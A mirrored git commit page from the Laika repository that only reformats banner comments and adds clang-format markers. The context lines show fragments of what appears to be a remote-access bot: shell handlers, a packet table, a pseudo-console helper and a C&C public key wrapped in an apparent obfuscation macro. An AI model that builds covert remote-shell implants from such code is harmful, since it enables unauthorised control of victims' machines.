mirror of
https://github.com/CPunch/Laika.git
synced 2026-02-04 15:40:02 +00:00
Minor comments refactoring
This commit is contained in:
@@ -55,7 +55,7 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
laikaM_free(shell);
|
||||
}
|
||||
|
||||
/* ============================================[[ Shell Handlers ]]============================================= */
|
||||
/* ====================================[[ Shell Handlers ]]===================================== */
|
||||
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
|
||||
|
||||
@@ -18,7 +18,9 @@ void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
/* stubbed */
|
||||
}
|
||||
|
||||
/* =============================================[[ Packet Tables ]]============================================== */
|
||||
/* ====================================[[ Packet Tables ]]===================================== */
|
||||
|
||||
/* clang-format off */
|
||||
|
||||
struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
|
||||
@@ -43,6 +45,8 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
true),
|
||||
};
|
||||
|
||||
/* clang-format on */
|
||||
|
||||
/* socket event */
|
||||
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
|
||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
||||
@@ -51,7 +55,7 @@ void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
|
||||
laikaS_kill(&bot->peer->sock);
|
||||
}
|
||||
|
||||
/* ==================================================[[ Bot ]]=================================================== */
|
||||
/* ==========================================[[ Bot ]]========================================== */
|
||||
|
||||
struct sLaika_bot *laikaB_newBot(void) {
|
||||
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY);
|
||||
|
||||
@@ -37,7 +37,7 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================[[ Packet Handlers ]]============================================= */
|
||||
/* ====================================[[ Packet Handlers ]]==================================== */
|
||||
|
||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
|
||||
@@ -97,7 +97,7 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
laikaM_free(shell);
|
||||
}
|
||||
|
||||
/* ============================================[[ Shell Handlers ]]============================================= */
|
||||
/* ====================================[[ Shell Handlers ]]===================================== */
|
||||
|
||||
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
|
||||
|
||||
Reference in New Issue
Block a user